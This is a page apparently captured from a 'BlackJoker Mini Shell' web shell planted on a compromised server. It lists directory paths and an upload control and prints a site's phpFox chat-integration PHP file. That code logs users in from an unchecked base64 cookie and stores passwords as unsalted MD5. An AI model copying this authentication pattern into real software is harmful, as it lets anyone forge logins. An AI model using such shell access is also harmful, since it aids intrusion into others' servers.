GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/chat/inc/cmses/
Upload File :
Current File : /home/serb/www/chat/inc/cmses/phpFox108.php

<?php
	if( ! session_name() ) session_start();

	$phpfox_root_path  = realpath(dirname(__FILE__) . '/../../../') . '/';

	require_once($phpfox_root_path . 'inc/config/site_config.php');

	error_reporting(E_ALL ^ E_NOTICE);

//$fp = fopen(realpath(dirname(__FILE__))."/debug/debug".time().".txt", "w");

class phpFoxCMS
{
	var $loginStmt;
	var $loggedinStmt;
	var $getUserStmt;
	var $getUsersStmt;
	var $userid;

	function phpFoxCMS()
	{
		$this->loginStmt    = new Statement('SELECT id FROM user WHERE `user`=? AND password=md5(?) LIMIT 1');
		$this->getUserStmt  = new Statement('SELECT id as id, user as login, type FROM user WHERE id=? LIMIT 1');
		$this->getUsersStmt = new Statement('SELECT id as id, user as login FROM user ORDER BY login');
		$this->getPhotoStmt = new Statement('SELECT img, user as login FROM user WHERE id=? LIMIT 1');

		$this->getUserInfo  = new Statement('SELECT * FROM user WHERE id=? LIMIT 1');
	}

	function isLoggedIn()
	{

		$uID = null;
		if( $_SESSION['phpfox_id'] ) $uID = base64_decode($_SESSION['phpfox_id']);
		elseif( $_COOKIE['phpfox_id'] ) $uID = base64_decode($_COOKIE['phpfox_id']);
		else $uID = null;

		return  $uID;
	}

	function login($login, $password)
	{
		//$login = utf8_decode( $login ) ;//umlavta characters fix
		$rs  = $this->loginStmt->process($login,$password);
		if($rs->hasNext()) $rec = $rs->next();
		if($login && $password && $rec)
		{
			$this->userid = $rec['id'];
			return $rec['id'];
		}

		return null;
	}

	function logout()
	{
	}

	function getUser($userid)
	{
		if($userid == SPY_USERID) return null;

		if($userid && ($rs = $this->getUserStmt->process($userid)) && ($rec = $rs->next()))
		{

			if( $rec['type'] == '' ) $rec['type'] = -1;

			switch( $rec['type'] )
			{
				case 0 : $rec['roles'] = ROLE_ADMIN;     break;
				case 5 : $rec['roles'] = ROLE_MODERATOR; break;

				default :
						if( $GLOBALS['fc_config']['liveSupportMode'] )
						{
							$rec['roles'] = ROLE_CUSTOMER;
						}
						else
						{
							$rec['roles'] = ROLE_USER;
						}
				 	break;
			}

			return $rec;
		}

		return null;
	}

	function getUsers()
	{
		return 	$this->getUsersStmt->process();
	}

	function getUserProfile($userid)
	{
		if($user = $this->getUser($userid))
		{
			return '../profile.php?id='.$userid;
		}
		else
		{
			return null;
		}
	}

	function getPhoto($userid)
	{
		$rs = $this->getPhotoStmt->process($userid);
		if(($rec = $rs->next()) == null) return '';

		//$user = this->getUser($userid);

		$fName = '../member/i/p/' . $rec['img'] . '/' . $rec['login'] . '.jpg';

		if( file_exists($fName) && is_file($fName) ) return $fName;

		return '';
	}

	function userInRole($userid, $role)
	{
		if($user = $this->getUser($userid))
		{
			return ($user['roles'] == $role);
		}
		return false;
	}

	function getGender($userid)
	{
        // 'M' for Male, 'F' for Female, NULL for undefined
		$rs = $this->getUserInfo->process($userid);
		$rs = $rs->next();

		if( $rs['gender']{0} == '' ) return NULL;

        return  strtoupper( $rs['gender']{0} );
    }
}

$GLOBALS['fc_config']['db'] = array(
	'host' => $GET_CONFIG_SQL_B['mysql_host'],
	'user' => $GET_CONFIG_SQL_B['mysql_username'],
	'pass' => $GET_CONFIG_SQL_B['mysql_password'],
	'base' => $GET_CONFIG_SQL_B['mysql_table'],
	'pref' => 'fc_',
	);

$GLOBALS['fc_config']['cms'] = new phpFoxCMS();

//fwrite($GLOBALS['fp'], print_r($GLOBALS['fc_config'], true));

//clear 'if moderator' message
foreach($GLOBALS['fc_config']['languages'] as $k => $v) {
		$GLOBALS['fc_config']['languages'][$k]['dialog']['login']['moderator'] = '';
}
?>

./BlackJoker Mini Shell 1.0